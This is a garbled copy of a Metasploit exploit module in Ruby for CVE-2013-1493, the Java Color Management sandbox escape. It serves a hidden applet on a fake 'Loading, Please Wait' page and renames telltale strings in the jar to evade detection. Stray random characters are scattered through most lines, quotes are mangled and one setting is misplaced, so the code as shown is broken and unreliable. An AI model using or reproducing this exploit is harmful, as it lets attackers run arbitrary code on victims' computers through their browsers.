##3 F/ W" q0 O; b: b1 p- [" k
5 L5 v! _ W8 o: p
# This file is part of the Metasploit Framework and may be subject to, h% H1 \( _- K6 g8 n9 V$ ?
# redistribution and commercial restrictions. Please see the Metasploit
7 C+ g* e* c+ i* X' b; a% {* O' d# web site for more information on licensing and terms of use.( D, ~; i7 y3 S4 B+ e
# http://metasploit.com/3 E A' c) x0 {
##
) X* c" e1 X" P1 ?) h$ k2 V9 X9 |require ‘msf/core’4 a; o' N# t; n! C4 B% A+ j
require ‘rex’
1 D* n1 W2 y D! F3 Eclass Metasploit3 < Msf::Exploit::Remote
5 c- S$ |* c& r9 n4 r5 _; CRank = NormalRanking
+ V1 T" b" }% [: pinclude Msf::Exploit::Remote::HttpServer::HTML
O! X) v- j, A# Pinclude Msf::Exploit::EXE
' @. ^' G: k( b. Q; }; l$ c' A+ Oinclude Msf::Exploit::Remote::BrowserAutopwn
/ h J T7 W, w: A+ G+ S: sautopwn_info({ :javascript => false })( k# C8 I! A* |4 ^8 c, j" E
def initialize( info = {} )
0 T6 @3 q$ f0 k( X# i. Lsuper( update_info( info,
& o. r+ I/ o; [/ y h‘Name’ => ‘Java CMM Remote Code Execution’,1 d4 o2 V, q. w0 _; X- U# T `
‘Description’ => %q{
' L; _: O! I; u" N' ]This module abuses the Color Management classes from a Java Applet to run
2 {8 j6 \, ~: w8 oarbitrary Java code outside of the sandbox as exploited in the wild in February
' f# ?2 Y( o. S$ W+ Xand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u415 e- ~! a4 d9 y+ V6 t
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP16 S1 y4 l/ \: b. ?
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
' @# v6 U E4 f- Kwarning in order to run the malicious applet.( B& j. j7 n3 C; w; v
},+ @0 t& O4 i4 H* Q W, Z! ^' K
‘License’ => MSF_LICENSE,1 ]# {+ B7 |4 }3 [6 }, ]
‘Author’ =>
3 l3 M8 P9 X5 a1 R( K'Unknown', # Vulnerability discovery and Exploit: {$ d5 _& n- i0 U3 ]
'juan vazquez' # Metasploit module (just ported the published exploit)
1 M% r" r- _3 L F% ?],& o0 ~2 B" o' A; q7 Z9 a& @
‘References’ =>
: h) e4 ^! F8 t# N& j# Z# ?[
% k+ o/ i5 N2 q, E1 n[ 'CVE', '2013-1493' ],
3 V6 N! _5 p" E1 e' _1 M$ O: I[ 'OSVDB', '90737' ],9 v5 \1 t" V8 C8 o( }6 l' a$ q
[ 'BID', '58238' ],
& \2 l4 s- b O4 v) ~1 f* n[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
% _/ y5 U5 v4 O6 S b% l* i[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],: Z6 Z+ r% q6 k& u+ j `
[ 'URL', 'http://pastie.org/pastes/6581034' ]
2 i- X" y8 Z/ g],* r8 V( Z; W3 @/ q) N
‘Platform’ => [ 'win', 'java' ],
# t% e( z2 d) f1 U$ m% D‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },$ S; c8 t3 E9 W2 A$ Y0 {
‘Targets’ =>( t/ G$ P% C. {8 V2 ?4 r. l
[
0 o8 O! l' G' ?8 |( s- f' V- W. G7 w[ 'Generic (Java Payload)',! ^* D6 f, e. q! w. N7 S3 a. o2 W
{" e5 n3 y& |( C% G; I! M' J
'Platform' => 'java',
+ d* k) Z s* S/ S'Arch' => ARCH_JAVA6 S6 R% k2 m+ r/ y }3 E
}
( n: o+ r/ \! D f! n! e" L],
4 g" n# o( d. ^# R( J[ 'Windows x86 (Native Payload)',
" f/ M. X8 ]" f) ?( C{
0 u \. a2 N! S$ G4 `2 R2 x! b) l'Platform' => 'win',
0 b3 I* S+ a5 r, X5 `: ?'Arch' => ARCH_X86+ ~6 y6 z, d4 d- ~
}
$ Y; b: W- D7 T/ O7 ^3 D]" x0 M* O4 h, N+ W! u6 D: S; D. ]
],$ c# x3 o: U0 h. K2 H
‘‘DisclosureDate’ => ‘Mar 01 2013′
; Z l1 o7 m0 ^))% c: b4 K4 g8 E0 \3 V: E
end, {: P6 c1 S( p: r
def setup) ?7 z! B6 g9 t1 y; f1 V9 g+ \! B
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)) X5 x; k W) E) q$ h) R4 l
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
; q. {0 x) Q( Ipath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
4 s: l/ ^6 k2 d% k# Z0 s/ L@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
8 _0 T2 U' Y8 {path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)9 n4 H5 G* J1 E) Y+ ?7 K* m4 S( Y
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
, q' h6 J- `* Q) z# ppath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
" Z$ j$ A2 w V+ v" h9 s@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }2 D3 k' b$ a( I V6 K B s
@init_class_name = rand_text_alpha(“Init”.length) |1 t+ G% F7 @/ h. _* X
@init_class.gsub!(“Init”, @init_class_name)
2 g- C- s3 J& k( k7 ~ Isuper: T! v8 c8 M: T- Q3 o7 f2 Q
end, J3 r( o- t7 j/ i
def on_request_uri(cli, request)! J3 ]# N5 H7 D5 N5 S* p
print_status(“handling request for #{request.uri}”)/ I; a9 i! A; d( R
case request.uri! k/ r3 X* r! V$ ]7 T
when /\.jar$/i4 L3 x3 r! a& K8 Q" F ?# O# ]
jar = payload.encoded_jar
. R% @ P2 k+ S- y! x/ Z1 {jar.add_file(“#{@init_class_name}.class”, @init_class)5 T0 @2 n% f8 t
jar.add_file(“Leak.class”, @leak_class)
) T0 d4 z" c' u6 e. T7 C2 Xjar.add_file(“MyBufferedImage.class”, @buffered_image_class)3 K; H! s$ y. c5 Q) ?4 j# h( w. z
jar.add_file(“MyColorSpace.class”, @color_space_class)" B/ H* v# Z2 K/ p
DefaultTarget’ => 1,, h9 l6 `6 k8 _5 A
metasploit_str = rand_text_alpha(“metasploit”.length)
% s3 N, P* f3 ~1 Apayload_str = rand_text_alpha(“payload”.length)( ^; @5 R( r! f, I7 C
jar.entries.each { |entry|
; L1 r2 y7 G: M& Rentry.name.gsub!(“metasploit”, metasploit_str)
& k$ c7 U& O# q. T2 v* aentry.name.gsub!(“Payload”, payload_str)
8 I' p3 J _# v8 |; Y/ Kentry.data = entry.data.gsub(“metasploit”, metasploit_str)6 v5 d4 _* f' X; J, W; P- |% }! H, g. D& Y
entry.data = entry.data.gsub(“Payload”, payload_str)
- `8 P0 w0 T+ z, t# s/ U+ [. I}
8 z0 ~8 h$ D* A0 Bjar.build_manifest+ Y. q) L! X4 ~4 j4 B# m
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
* Y; J/ Q0 \! _when /\/$/( o# D! u0 c# H! T" v6 C% h$ w7 o
payload = regenerate_payload(cli)/ U$ C+ f8 C3 V
if not payload" L: P3 V5 K v0 H! r1 y5 A: l
print_error(“Failed to generate the payload.”)
1 ]. F5 E, G( v. K$ zsend_not_found(cli)
1 o& s+ m! g7 e; r: r Qreturn9 y: O% ^/ N% H7 c2 X, N/ q( ^: Z! E
end( S8 Z7 ^7 A* E! f! M) b( e* e
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
& ? e. X% i1 S3 }0 h- v( h. jelse1 W+ U N \( Q' F8 l* p( y5 u* _0 V' N: l
send_redirect(cli, get_resource() + ‘/’, ”). x4 F! o) V2 i8 A2 G0 ^
end7 Q5 A7 G! E9 t" [1 p) C
end
4 W! `$ ?# A0 |% H. Adef generate_html; e8 J! h0 W$ l+ @2 ?, w; X9 P
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|# p# H4 m* N& b0 P5 o
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|. n0 p1 I! H$ u0 O U
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|& j4 q8 y/ v/ Q4 }
html += %Q|</applet></body></html>|4 }* z+ M: G V- Q) b
return html
" b5 R& j. Q3 l4 ?# Jend8 {4 q& Z2 G {' M
end6 n+ f( q% }& o
end' L7 M* q* G2 R+ U4 l$ X
|